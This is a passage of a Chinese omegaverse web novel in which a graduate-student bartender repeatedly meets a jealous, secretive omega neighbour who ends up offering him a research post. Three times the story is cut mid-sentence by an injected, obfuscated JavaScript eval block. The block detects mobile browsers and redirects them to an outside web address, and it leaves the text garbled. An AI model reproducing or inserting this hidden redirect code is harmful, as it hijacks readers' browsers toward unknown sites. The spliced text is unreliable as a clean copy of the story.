嗯,这位帅气的调酒师的技术中看不中用。 花钱让他调酒,其实就是看个过程,酒最好别喝。 时间一到晚上八点,酒吧正常营业,已经有不少客人到来。陈不谦本想作为客人坐到祁厌所在的吧台前,结果被徐哥拉去当壮丁,现在刚开业,还不是很忙,他正红着眼看被一群omega围着的服务员。 那是一名非常帅气的女alpha,留着酷帅的狼尾发型,五官锐利张扬,帅得非常蛊惑人,身上带着些浪荡的气质,正面带笑容地和身边的omega们说着话,把人逗得满脸羞涩,才刚开业,就一瓶接着一瓶酒开。 陈不谦羡慕极了,酸酸地说,“祁厌,你看看浪浪,好好的正经酒吧都快被她变成牛郎店了,真是不知羞……啊!” 不等他把话说完,忽然一堆人涌了上来,没注意把穿着酒保服的陈不谦给推攘到一边,正惊喜不已地看着吧台后的祁厌。 “祁厌,原来你还在呀,我还以为你辞职再也不来了呢。” “好久没看到你,我们都以为你不来了,呐,给我来杯酒吧。” 不少人是熟客,正你一言我一语地和他搭话,问祁厌怎么这么久不来,让他帮忙倒杯酒,夸他长得越来越帅了,也有让祁厌调酒,光看那帅气的姿势,就非常激动,但调出来的酒没人敢喝。 “抱歉,让你久等了,最近忙于学业,所以才没时间过来……好的,这位客人想喝什么……谢谢夸奖,你也很漂亮很有魅力……不好意思,我不能调酒哦,会被老板说糟蹋他的酒……这样啊,那行,我们就悄悄调一杯吧,希望你喝了不要太失望。” 隔着吧台,进入营业状态后,丝毫看不出平时恐O的祁厌应对自如,精准地回答每一位客人的话,嘴角噙着一抹浅浅的笑意,望着客人的那双深情的桃花眼好似在到处放电,完全掩饰住他的不适应,表面温柔又客气,给足客人情绪价值。 他穿的酒保服衬出宽肩窄腰的好身材,白色袖子挽起,小臂的肌肉线条流畅,调酒姿势优雅,表情专注认真,酒瓶泄出的酒液如一道优美的弧线落入杯中。 结果调出来的酒,自然是熟客不敢喝,新客尝了一口,果断求来一杯冷水冲淡那诡异的味道。 而眼睁睁看着他和众多漂亮omega谈笑风生,却被推到一边的陈不谦:“……” 操,失算了。 忽略祁厌很长时间没来,大家的热情远比以前更盛,根本没机会坐在那里被包围。 被冷落的陈不谦咬牙切齿:“可恶,就不该信他,一个个都是没有A德的渣A!” 有omega了,还在这里到处放电。 “老陈,别搁那站着了,赶紧过来帮忙!” 随着客人越来越多,心有不甘的陈不谦很快就被拉走,完全没时间和漂亮小O们搭话。 祁厌作为看板郎,是绝对不会离开吧台。等酒吧越来越热闹,驻场乐队开始表演时,全场欢呼,原本一直围在祁厌周围的人终于换了阵地。 终于空闲下来,祁厌松口气,隔着吧台聊天对他来说很轻松,这也是祁厌一直认为自己不恐o的原因之一。 毕竟哪个正常alpha会恐o呢?顶多因为奇怪的梦而下意识对omega群体敬而远之,绝对不会是恐o。 酒吧的调酒师叶澄澄趁闲走到他身旁,笑着说:“祁哥你太久没过来,大家都很热情,是不是有点招架不住?” “其实也还好,就怕让我调酒。”祁厌状似头疼无奈地说道,“我调了,一个个又不敢喝,等徐哥看见又心疼他的酒被浪费了。” 叶澄澄抿唇轻笑,脸颊带着可爱的酒窝:“因为祁哥你调酒的过程很好看很靠谱呀,大家就喜欢看你调酒的样子,很帅气吸引人,花钱买的就是视觉快乐。” “不过,为什么你调出来的酒味道这么奇怪呢?明明不管是顺序还是量都很正确。” 叶澄澄不解地想凑过去看他的工具,恰好听见有人在叫他帮忙调酒,只能先回到自己的位置工作。 “确实奇怪。” 灯光闪烁迷离,绚丽色彩在转动,祁厌拿了瓶酒,轻轻晃动。明明在他看来,调酒过程和实验差不多,直接按量调制就行,偏偏每次他都能失败…… “你好,能劳烦调杯酒吗?”一道清清冷冷的嗓音响起,刻意放缓语调,显得柔和许多。 “啊,抱歉,我这里不能调……哎,怎么是你?”祁厌拿开酒瓶,看清楚坐在吧台边的人,有些诧异。 和昨晚不一样,邻居戴了副黑框眼镜,黑色框沿恰好遮挡住他左眼下的三颗泪痣,却不显得木讷,那张漂亮的脸依然清冷禁欲,白色衬衣上方解开两颗扣子,可以看到他没有使用信息素隔离贴,而是戴着黑色的信息素隔离颈环。 这样的人不管怎么看,都不像是会泡酒吧的人。 邻居好像也有些惊讶,随即柔柔地笑了起来:“确实好巧,没想到会在这里碰到你,昨晚真的很感谢你的帮助。” 他笑起来很漂亮,眸子弯弯,带着喜悦的色彩,将身上孤傲冷漠的气质给淡化掉,却也给祁厌一种格外别扭的感觉,好似他不该这么笑一样。 “都是邻居,互相帮助很正常,而且你昨晚已经说过很多次。”祁厌觉得自己想法太奇怪,收敛着没表现出来,笑道,“你是第一次来这里吧,我调出的酒不好喝,你要是想喝调制出来的,去找那位调酒师更好。” 他指了指正在帮客人调酒的叶澄澄,动作很流利漂亮,对客人笑得很甜,也是酒吧里非常受欢迎的omega调酒师,不过现在坐在叶澄 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祁厌:“……” 看走眼了,好像是正常客人,不是来闹事的。 “既然你想喝,那我就给你调一杯吧,不过不用喝完,尝一口不想喝,就及时停下吧。”不见棺材不落泪的人依然这么多,祁厌早已习惯。 邻居一直盯着他看:“没事,我会喝完的。” 真是奇怪的邻居。 祁厌也没多想,用开玩笑的口吻说:“我没什么拿手的,你还是点自己想喝的吧,说不定还可以对比出我的技术有多差。” 手指微微蜷缩,邻居无意识地舔了舔干涩的唇瓣,绚丽灯光下他的脸显得有些阴郁美感:“……莫吉托,可以吗?” “没问题。”祁厌爽快答应,这个简单。 当场就给邻居调了一杯低度数的莫吉托,口感酸甜,带着薄荷的清爽,挺多omega都喜欢这款酒。 不过祁厌觉得等邻居喝完自己调出来的以后,估计再也不敢喝了。 “给,你试试。”祁厌将调好的莫吉托和一杯冷水推过去。 邻居有些疑惑,指着那杯冷水:“这是?” “漱口用。”祁厌十分谨慎,简略说明。 邻居:“……” “我想我应该用不上。”他眼睛弯了弯,脸上笑意更浓。 那可说不准,祁厌经验丰富,每个第一次喝他调的酒的人都是这样说。 祁厌看着邻居伸手握住酒杯,昨晚事态紧急,没有多看,现在仔细一瞧,他的手指很漂亮,修长优雅,像是精心雕琢的艺术品。 冷白的肤色在酒吧绚丽的灯光下更显得白皙,细腻温润如冷玉,指尖和指节微微泛粉,非常漂亮诱人,祁厌看着他的手,熟悉到有些晃神。 脑海忽然浮现一幕陌生的记忆碎片。 他带着不易察觉的期待看对方拿起酒杯,本以为会尝一口,却没等到想看的场景,对方端起酒杯,毫不犹豫地将酒液和冰块尽数泼到他的脸上,带着彻骨的寒意。 ——“你这是在故意恶心我吗?” 充满讥讽与厌恶的冰冷声音在大脑里尖锐响起,用力搅动着大脑,心脏一阵阵刺痛,疼得他差点喘不过气。 莫名地,右手开始出现神经质的抽痛,像是曾经被人打断过一样。 下意识,祁厌往后退了两步。 “怎么了?”正要试试味道的邻居带着难以掩藏的雀跃,好奇地看向他。 祁厌被周遭吵闹的声音拉回现实,一切都很正常,右手的抽痛也消失了,只有自己奇奇怪怪的。 他定了定神,想着刚才的画面,用开玩笑的语气对邻居说:“哦,没什么,我就是怕酒太难喝,你下一秒就泼到我脸上。” 本只是一句普普通通玩笑话,邻居的脸色却在一瞬间变得惨白。 5. 第 5 章 祁厌向来敏锐,但这一次并未察觉到邻居的变化,正疑惑地垂眸盯着自己的右手,仿佛想要验证什么。 修长的手指慢慢张开,骨节分明匀称有力,用力合拢,手背微微突起青筋,没有伤痕,一切都非常自然顺畅。 可为什么会有一种手被人打断的感觉呢? 他觉得自己真是莫名其妙,抬眼去看邻居,见他正微微低着头,一手拿着酒杯,一手捏着两根吸管,喝着他刚调制出来的酒。在酒吧转动的绚丽灯光下,那张漂亮的脸更显得面色惨白如纸,就连指尖都在轻轻颤抖。 祁厌一顿,已经顾不上刚才的幻觉,小声且谨慎地问他:“真的有这么……难喝吗?” 这一看就是被他调出来的莫吉托难喝到了,却不得不因为刚才信誓旦旦的话喝完,于是表现出脸色难看,本能想吐却又强忍着的样子。 眼睫毛轻轻颤动两下,邻居缓缓抬眸,镜片反射白光,隐隐还能看见他的眼底还带着些许水光。 完了,把他难喝到快要哭出来了,祁厌心想。 “……没有,很好喝。” 邻居抿了抿唇,湿润的酒液打湿浅色的嘴唇,他的眼神有些飘移不定,垂落的眼睫毛遮掩住他的视线,时不时滑过祁厌修长有力的右手。 祁厌叹气,把凉水推到他面前:“谢谢你的好意,不用这么善良,我知道这酒难喝,别这样忍着。” “祁哥,能麻烦帮下忙吗?”正巧隔壁的叶澄澄走了过来,表情有些不好意思,“有几种酒用完了,陈哥把它们放太高,我拿不了。” “行,你要什么酒?我帮你拿下来。”祁厌先和邻居说了声,就过去帮忙。 邻居抿了抿唇,侧头看了过去,太近了。 他咬着吸管,垂下眼帘,他们站的太近了。 祁厌把酒从高处拿下来,站在旁边的叶澄澄仰着脸看他,伸手去接酒,脸上带着很甜的笑容,脸颊处的酒窝若隐若现,从邻居的视角看过去,相当的亲密。 尤其是对方笑眯眯地和祁厌说话,不知道说了什么,让他没忍住笑起来,那双桃花眼温柔缱绻地望着叶澄澄,显得格外深情。 祁厌扶着架子,低头去和他说话,两人凑得更近。要不是祁厌长得很高,叶澄澄身高不够,估计他们只要再近一点,就能吻到对方了。 而且这么近的距离,祁厌会沾染上对方的信息素吧…… 捏着吸管的手指无意识用力,纤长的睫毛颤动得有些厉害,泛白的指尖紧紧捏着酒杯,带着细微的颤抖。 他喝着酒,冰冷的液体夹杂碎冰进入嘴里吞咽下去,带着丝丝的血腥味,眼镜有些滑落,阴鸷如毒蛇的眸光几乎藏不住。 不行,得冷静下来。 必须冷静。 不能重蹈覆辙。 莫吉托底下的冰已经融化,顶端还有不少碎冰,他端起酒杯连酒带冰、薄荷叶都吃了下去,没有嚼动,生吞硬咽,喉结滚动着,就像毒蛇吞吃猎物一样。 镜片下,冰冷的眼眸死死盯着他们。 还在说,还在笑…… 唇瓣沾着水色,显得瑰丽,他舔了舔嘴唇,舔到一抹腥甜的血腥味,咬破的唇瓣刺痛。信息素隔离颈环微微收紧,腺体传来阵阵尖锐的疼痛,体内的信息素在翻腾。太阳穴一抽一抽地发疼,提醒着他要冷静,不能任由心中的嫉恨与怒意宣泄出来。 于是他强制自己收回目光,将眼镜往上推了推,从钱包掏出几张钞票,压在酒杯下,起身,踉跄两步,快速离开。 “祁哥,麻烦你了。”另一边,叶澄澄把酒放好,对祁厌甜滋滋地笑着。 “举手之劳,不用那么客气。”祁厌帮他把最后一瓶酒拿下来,他们之间隔着约莫半米的距离,并不是很近。 他向来很注重AO之间的距离,即使是熟人,也不会走太近。等他忙完,再回到自己的位置上,邻居已经消失不见。 “嗯,怎么走得这么快?” 祁厌环顾四周,没看见邻居的身影,那杯莫吉托被喝得一干二净,一点冰渣和薄荷叶都没有留下,一旁的凉水并未被喝。 这是被倒掉了吧? 祁厌收回杯子,哪有人把薄荷叶和冰块都一起吃光,看来邻居刚才也是碍于面子,不好直说,等他一走,就偷偷倒掉了。 真是给他面子。 祁厌笑了笑,没什么想法,但拿着杯子下的几张钞票,有些犹豫。 刚才离开前,祁厌特意和邻居说了一声,不用给钱,毕竟他调的酒太难喝,花钱就是买罪受,结果没想到对方不仅支付了,还给多了。 “……等回去就还给他?” 不好,还是别和omega离得太近。 尤其是像邻居这种。 虽然对方表面看起来很好,但骨子里的傲慢实在是太难掩饰,而祁厌又恰巧很熟悉这种高高在上的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318627|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他并没有表面上看起来那么好接近。 所以还是算了,等以后有机会再看情况吧。 酒吧营业时间严格遵守规定,凌晨两点一到,准时关门。 今晚很热闹,乐队一表演结束,贝斯手就被人绑走,大家正想把人抢回来,结果主唱说那是贝斯手家里的保镖,众人一哄而散,原来是小少爷为追逐梦想而放弃万贯家财的狗血故事。 “祁哥,那几个保镖刚才还在我这里点过酒哎。”叶澄澄围观得很开心,兴致勃勃地过来和祁厌说。 祁厌正在帮忙收拾东西,听到这话,心想他果然没看走眼。 当时就觉得那几个人不简单,既然是保镖的话,那就正常了,难怪挥舞灯牌这么有劲,原来是给自家小少爷捧场。 陈不谦走了过来,打哈欠:“老祁,你明天肯定还会回学校做实验吧?” “明天早上有事,我下午会过去。”祁厌把从徐哥那拿到的资料收入背包里。 换好衣服便从酒吧后门离开,陈不谦和叶澄澄回学校,祁厌不住校,和他们走了一段路才分开回家。 酒吧人太多,大部分人将信息素收敛得很好,正规酒吧室内换气时也会添加适量信息素清除剂,防止出现意外。但祁厌总觉得不太舒服,回来就使用大量信息素清除喷雾,再洗了个澡,保证自己身上没有一点信息素。 无论是别人的信息素还是自己的信息素,都丝毫没有沾染,过分干净,甚至干净到有些不正常。 据说越是顶级的alpha越能控制自己的信息素,避免对别人造成压迫感,但再顶级的alpha也不该像祁厌这样奇怪,只要是正常的alpha多少会有少许稀薄的信息素沾染在身上,彰显自己魅力,这是与生俱来的本能。 尤其是晨起、亦或者运动流汗都容易导致衣物沾染淡淡的信息素,偏偏祁厌无时无刻都控制的很好,活得像个beta,任何时候都没有信息素沾在身上。 身边好友也因此感到奇怪过,问他怎么会把信息素控制得这么好,是不是除了易感期时会导致信息素失控爆发,此外都没有任何信息素流出。 祁厌说,差不多吧,毕竟易感期无法控制,其余时刻已经形成习惯。 那种奇怪的习惯不知什么时候刻入他的灵魂,让他无意识地去做。 潜意识里好像有人在告诉他,绝对不能让信息素溢出,否则会有很糟糕的事情发生。 6. 第 6 章 很难得的,时隔多年,祁厌睡了个好觉。 醒来的那一刻,人还很恍惚,没有失眠,没有做梦,只是平平静静地睡觉,一觉醒来,天已经亮了。 这对于很多人来说是一件平常的事情,但对于祁厌来说却弥足珍贵。 不过好事不成双,他睡到九点多才醒,而原本和导师约好八点去接他,结果就是人迟到了,覃宜民的未接电话有三个。 祁厌惊得跳下床,边穿衣服边打电话,对面一接通后,他就立马道歉。 不过对面的导师乐呵呵的:“小厌啊,不用着急,慢慢来,难得你居然睡过头了,待会儿就直接去餐厅吧,不用过来接我。正好沈先生也有事情,提前打电话过来和我推迟见面时间,十一点才见,还来得及。” 多亏了陈不谦这个大嘴巴,没有人不知道祁厌是个失眠患者,也幸好他的导师是个非常好的老人。 “老师,真的很对不起。”祁厌抓了抓凌乱的头发,感觉这两天好像总是在道歉,不是别人就是自己。 “呵呵,没事,年轻人多睡一些,我先挂电话,咱们待会儿见。” 挂断电话,祁厌把穿反的衣服换回来,先去洗漱,既然时间不急,就好好打理自己,给研究所的负责人留个初始好印象。 虽然说选择还有很多,但祁厌的第一目标依然是沈氏集团旗下的私人研究所。他走到书桌边,将昨晚取回来的资料整理好,收回文件袋里,将其放入抽屉里。 暂时不能继续调查当年的事情,如果他能顺利进入沈家的研究所,再慢慢想办法调查。 祁厌提前出门,覃宜民发来的地址不远,是家私人定制餐厅,贵得离谱,属于祁厌和覃宜民都不会选定的餐厅,那选择的人自然是要见的客户了。 出门时,他下意识朝邻居家的方向看一眼,非常安静,仿佛没有人居住一样,和前几日的吵闹截然不同。 周末应该是不上班吧? 祁厌想着昨晚遇到的邻居,静静地坐在吧台前,手指拿着酒杯,微微低头含着吸管,皮肤白得晃眼。黑框眼镜遮挡着他的三颗泪痣,纤长的眼睫毛下垂,遮挡住眸光,嘴唇抿得泛红,沾着酒液泛起水光…… “叮咚!” 电梯门响起,祁厌掐了自己脸一下,很用力。 他大抵是病了,一天到晚都在想不认识的omega。幸好没有遇见邻居,否则多少有些心虚,哪个正常人才和陌生人见过两次,就会想这些乱七八糟的事情,以后还是尽量离邻居远一点比较好。 或许真被陈不谦说中了,他也该谈…… 算了,别想太多。这样的念头才刚出现,祁厌就感到莫名心悸,捏了捏眉心,打车前往尚味斋。 只要注意每天出门的时间,应该就不会遇见邻居。昨晚会在酒吧遇见,大概也是巧合,他看得出来,邻居不是经常出没在酒吧的人。这样一来,他们的圈子基本不重合,除了住得近以外,估计不会再有任何联系…… “好巧,你也来这里用午餐吗?” 琢磨一路的祁厌刚放下心,刚一下车,就听见那道熟悉又陌生的声音,却比昨天沙哑许多。 祁厌下意识看过去:“你的声音怎么了?” 没想到嘴巴居然比脑子快,还没看到人就问出口,弄得双方像是熟人,祁厌感到有些尴尬。 正站在台阶上的邻居听到他的第一句话,明显愣了一下,然后缓缓笑起来,镜片下的眼眸弯着,非常明亮:“没什么,多谢关心,只是不小心伤到嗓子了。” “那就好,真的是太巧了,没想到我们居然又遇见了。” 接连三次巧合,让祁厌心底感到一丝微妙,笑道:“你这是在这里等人吗?那我就先不打扰了。” 祁厌在车里想了一路,他很明确自己与邻居不会有太多接触,那还是没必要认识,客气地说了几句场面话,就准备沿路去附近的公交车站接导师。 手掌紧紧握着,指尖嵌入掌心的肉,等祁厌一转身,邻居脸上的笑容便消失的荡然无存,盯着他逐渐远离的背影,无意识地啃了一下拇指。 “啪!” 刚走出几步的祁厌忽然听到一道声响,他下意识地转头看去,刚才还站在台阶上的邻居不知怎么跌倒了。 正狼狈地坐在地上,黑框眼镜摔落在一旁,本就白皙的脸变得惨白,脸颊滚落冷汗,紧紧抿着唇瓣,毫无刚才的从容自在。 怎么才一转头就摔倒了?! 祁厌一愣,几步走回去,蹲下身去看:“你怎么样?有没有哪里摔伤了?先别急着起身,我帮你叫救护车或者联系你的家人……” 邻居下意识攥住了他的袖子,又条件反射地松开,纤长的睫毛轻轻扇动着,他苍白的脸带着歉意的笑容:“抱歉,又给你添麻烦了。我没事,只是不小心踩空,扭到脚,不用叫救护车。” “除了脚,还有哪里疼吗?”祁厌看了眼他的脚踝部位,邻居坐在地面导致裤腿往上拉了一些,清楚地看见脚踝迅速肿了起来。 邻居多看两眼他的脸,垂着眼帘,不敢暴露眼中的感情,慢慢摇头说:“没有了,谢谢你的关心,能麻烦你扶我进去一下吗?” “我和客户约定好十一点见面,现在不方便离开。店里也有医生,简单处理一下就好。” 这是个不好拒绝的请求,邻居摔得不轻,脚踝肿的厉害,漂亮的脸煞白,额头带冷汗,眼镜摔落在一旁,那三颗泪痣在苍白的脸上格外显眼,这张充满攻击性的孤高冷傲面容在此刻显得脆弱不少,却又强装镇定,是个非常要强的omega。 祁厌注意到他的手心擦破流血,终究是做不到视若无睹,他顿了顿,伸手帮对方把眼镜捡了回来:“我送你进去。” 血液流出,但祁厌并没有嗅到信息素的味道,看来邻居也将保护措施做得很足,不会轻易泄漏omega信息素,影响到别人。 祁厌仔细观察邻居的情况,一手扶住他的后背,一手穿过他的膝弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318628|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小心翼翼地把人给抱了起来。 邻居下意识搂住祁厌的脖子,指尖一哆嗦,正想松手解释。 祁厌低头看他一眼,问道:“其他地方有没有感到疼痛?” 他担心邻居摔到头和腰,不过根据观察应该没事,但作为alpha,不能随意上手去摸陌生的omega的身体,所以祁厌也不能百分百确认。 “没……没有。”邻居近距离地看着祁厌的脸,连呼吸都停滞了,匆忙地把眼镜戴上,盖住那三颗泪痣,动作透露出一抹慌张,“抱歉,我很重吧。” 他掩盖住自己真正惊慌的原因。 “不重,挺轻的。”祁厌抱着邻居往尚味斋里走,确实不重,甚至轻得厉害,看着挺高一人,却远比想象中更轻。 邻居鼻尖动了动,没有在祁厌身上嗅到任何信息素的味道,无论是别的omega的信息素,还是他自己的alpha信息素。掌心传来刺痛,邻居很想双手都搂住他的脖子,但又不敢冒犯祁厌,强忍着内心的渴望。 不知道邻居的想法,祁厌只想赶紧把人送进去,结果才走到一半,远远传来一道声音。 “小厌,你这是在做什么啊?” 祁厌下意识回头看去,覃宜民骑着二八大杠过来,精神奕奕地打量着他和怀里人,眼神若有所思,随即就笑了起来,声音响亮:“男朋友?” “老师。”祁厌有些无奈,他可不信覃宜民看不出来邻居摔倒了,他只是在救助倒霉的摔倒omega。 邻居也是真倒霉,前晚呼吸性碱中毒,昨晚喝了他调的酒,今天又当着他的面摔倒,或许他们属性相克吧。 “哈哈哈,开玩笑,开玩笑,不要在意。”覃宜民放缓速度,双脚踩在踏板上,当车快要停下来时,直接用力蹬地,身体跃起,后方跳步下车。 祁厌看得眉心一跳:“老师,你这样下车很容易受伤。” 再来一人,他可扛不起。 “没事,没事。”覃宜民满脸笑容地把车推过去,不看祁厌,而是先看他抱着的人,“沈先生这是不小心摔伤了?没事吧?要不我们先去医院?” “嗯?” 祁厌愣了一下,忽地低头看一眼邻居,他姓沈?又在尚味斋约了人,身份简直不言而喻,心情忽然感到越来越微妙了。 “覃教授不用担心,只是小伤,店里有医生,随便上点药就好。”和祁厌对视一眼,邻居适当地表现出一丝惊讶,狭长的漂亮眼睛弯了起来,“原来你是覃教授的学生,真的……好巧。” 没来由的,脖子好像有点勒,明明邻居只是轻轻将手搭在肩膀处,祁厌却觉得不太舒服,仿佛被阴冷潮湿的毒蛇绞缠住脖子,带来一股溺亡的窒息感,使他避开了邻居的目光。 “是啊,确实好巧。”覃宜民看向祁厌,催促道:“小厌你赶紧把人送进去,别拖拖拉拉的。” 祁厌:“……” 他突然觉得自己抱的人有点重,还有点扎手。 7. 第 7 章 “虽然不是什么重伤,但沈先生最近还是得小心一点,手上伤口尽量不要沾到水。脚腕也少用力,回去用药擦一下,可能会有点疼,但这样好得很快。” 医生细心地给邻居处理伤口,尚味斋明明是餐厅,但内部医疗条件一点不差,处理好后,甚至给邻居拿来一张轮椅。 ……扭到脚而已,夸张了。 听覃宜民提了两句,祁厌才知尚味斋是沈家的产业,这让他愣了一下,随即理解。沈家的人做什么事情都很正常,不能用常理去看。 “有劳祁先生送我进来。”邻居看向一旁站着的祁厌,朝他伸出手,笑道,“实在不好意思,明明见了三次,一直没来得及自我介绍,你好,我是沈溪流。” 祁厌顿了顿,伸手和他轻碰一下,一触即分:“沈先生客气了,直接叫我祁厌就好。” “嗯。”沈溪流嘴角微微上扬,笑得很开心,想让祁厌也叫自己的名字,但话到嘴边绕一圈,又咽了回去。 祁厌不会叫他的名字。 他知道的。 祁厌脸上的笑,和昨晚在酒吧营业时的标准笑容没有两样,客气疏离。如果不是这遭,说不定他依然和之前一样,连个名字都不会说,继续和他做个不知名字的陌生人。 医生本想叫助手过来帮忙推轮椅,但祁厌就搁这站着,覃宜民果断让他帮忙,人都抱进来了,再推个轮椅怎么了? 好好一个alpha看到漂亮omega怎么不知道殷勤点? 平日里挺聪明的徒弟,怎么在这关头表现得有点像木头人,就知道客气地笑笑笑。 说好想进沈家的研究所,结果负责人在这里都不会讨好,甚至还走神。 没办法,那就只能老师来帮把手了。覃宜民打量他们两个几眼,含笑问道:“沈先生和小厌这是已经提前认识了?” 祁厌回答覃宜民的问题:“嗯,我和沈先生是邻居。” 就这么简略一句?覃宜民恨铁不成钢地瞪他一眼,赶紧给我攀关系啊,这可是沈家的人,你还想不想进研究所了? 你小子不想,我还想和沈先生合作,再让他给咱们实验室捐点东西呢! 祁厌没多说,反倒是沈溪流笑着说:“前两日刚搬家,没想到居然是和覃教授的学生成了邻居,倒是挺有缘分。前几日还因装修问题叨扰他,本就感到十分抱歉,结果没想到反而被他帮了不少忙,真的非常幸运。” “呵呵,小厌能够帮到沈先生是他的福气,沈先生不用这么客气。”徒弟不顶事,覃宜民自己乐呵呵地和沈溪流聊着。 进了包厢,眼看着祁厌还想坐到他身旁,结果还没坐下,覃宜民先咳一声,给他使了个眼色。 木头,赶紧给为师坐到对面去,别给你机会你不中用,立刻过去,牺牲自己,造福你我他。 祁厌:“……” 他看了一眼沈溪流刚处理好的右手伤口,惯用手刚上药,估计不是很方便。 于是祁厌拉开椅子,坐到沈溪流旁边,帮他放好东西,服务员问想吃什么,他也交给沈溪流和老师选择。 结果出乎意料,他和沈溪流的口味挺相似,沈溪流点的都是他喜欢吃的,等上菜后,祁厌更能理解尚味斋为什么会收费这么高,味道很对得起它的价格。 不过估计自己也就只能蹭这么一顿饭了。 普通人吃不起这么贵的菜,就算吃得起也舍不得花这个冤枉钱。 沈溪流和覃宜民多聊了几句,就将话题转到祁厌身上:“先前就听覃教授提过,祁厌你现在正在做信息素紊乱症方面的药物研发,不知道进展得怎么样了?” “嗯,现在进展还算顺利。”祁厌客气地说道。 他倒也不意外覃宜民会和沈溪流提起这个,毕竟他很早就告诉覃宜民自己的想法,毕业以后想进沈氏集团旗下的HPY生命科学研究所。 沈溪流道:“我看过你以前发表的论文,你在大学时期就已经做过信息素紊乱症方面的调查吧?” “嗯?嗯,是的。”祁厌有些意外他连这个都知道,笑了起来,“没想到沈先生居然看过我早期发表的那篇论文,当初发表时,都没多少人知道呢。” 现在回想起来,多少有点尴尬,那是他大二时的课题,当时凭着一腔热血去研究调查,结果仿佛是给论文库里加了点学术垃圾,没有引起任何重视。 不过发表成功后,学校倒是给加了不少学分,也不算白努力一场。 “那是篇很优秀的论文。”沈溪流笑容温和,“我听PHY生命科学研究所的沈所长提过,他和你一样都主张信息素紊乱症可能会诱变成信息素暴动症,需要尽早干预。” 信息素紊乱症,是由于患者心理问题而导致腺体病变的疾病,会使患者的信息素发生紊乱,失去控制。严重者甚至会引起大脑结构改变,诱变成信息素暴动症,直接摧毁神经中枢,导致腺体坏死,失去功能,衰竭而死。 对于更多人来说,恐怖的是信息素暴动症这样的绝症,至于信息素紊乱症,和心理疾病一样,早期吃点药,调理好心理状态就没问题了。 “但现在在这方面上的药物并不多,更多医生是倾向于使用治疗心理疾病的药物,用以治疗信息素紊乱症。” “原来沈所长也是这么认为,沈先生这话说出来后,倒是给了我不少干劲。”沈所长算是祁厌的偶像,能得到他的肯定,心情相当不错。 覃宜民也有些意外:“沈先生,那沈所长打算在这方面进行研究吗?” 沈溪流摇了摇头:“虽然信息素紊乱症也不能被轻视,但是他目前还没有这个打算。你们也知道,信息素方面的疾病需要攻克的还有很多,他手上的项目不少,短时间内估计不会再开发其他项目。” “不过,沈所长要是知道已经有人在进行这方面的项目研究,一定会很高兴。”他对祁厌说道,“祁厌,你是覃教授的学生,我看过你的履历,相信以你的实力,早晚能够研发成功。” 他的声音温和有力,仿佛没有夹杂私情:“如果后续有需要帮助的话,我个人可以代表沈氏和你合作,为你提供项目支持。毕业以后,你若想进入PHY生命科学研究所,也将是我们的荣幸。” “?!” 邀请来得太快,太猝不及防,祁厌一怔,差点没反应过来。 “沈先生不是在和我开玩笑吧?” 沈溪流莞尔一笑:“如果不信,我们可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318629|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前签订合同,无论是对你的项目进行支持,还是毕业后进入PHY生命科学研究所。只不过这样的话,祁厌你的未来可就被绑定下来了,短时间里,很难离开哦。” 祁厌很想立即就答应下来,不过肯定不能这样,会显得自己真不信任对方。 只是惊喜来得太突然,明明昨天还在发愁自己是否能够进入沈家的研究所,结果今天居然就遇到这样的好事,显得未免太不真实。 原本无解的问题,今天就迎刃而解。 祁厌突然感觉邻居先生真是个非常知恩图报的大好人! 收敛心中想法,平平淡淡的祁厌一改刚才的木头作风,无比真诚道:“多谢沈先生邀请,如果能够加入PHY生命科学研究所,这也将是我的荣幸。实不相瞒,其实我本人的偶像一直是沈……” “咳咳。” 祁厌没把话说完,对面的覃宜民咳了两声,目光炯炯地盯着他。 祁厌:“……” “我本人的偶像一直是我的老师覃宜民和沈博士,能够在他们手下学习,一直是我的心愿!”祁厌发自内心地说道。 这下子老师应该能满意了吧? 沈溪流看见他们的师生互动,嘴角微微扬起:“呵呵,我相信沈所长一定很高兴。覃教授,看来我们之间的合作会非常愉快。” 他笑着和覃宜民定下原先就在谈论的合作,还不忘和祁厌聊起他的研究。 谈话间,祁厌发现沈溪流是真的很了解自己的履历,自己发的第一篇论文,他随口说了些数据,沈溪流都还有印象,这已经让他足够惊喜。 结果没想到他连自己后续发表的一些相关论文也知道。 “你说的是去年十二月底发表在《信息素学报》的那篇论文吧?”沈溪流想了想,“正巧我也看过,很具有前瞻性。我当时和沈所长讨论过,他还夸了你,说那篇论文给现有领域的理论体系又提供了一个新的视角……” 一听这话,什么客气疏离全消失,沈溪流在祁厌眼里已经不是一名陌生omega了。 什么叫知己?这就是知己! 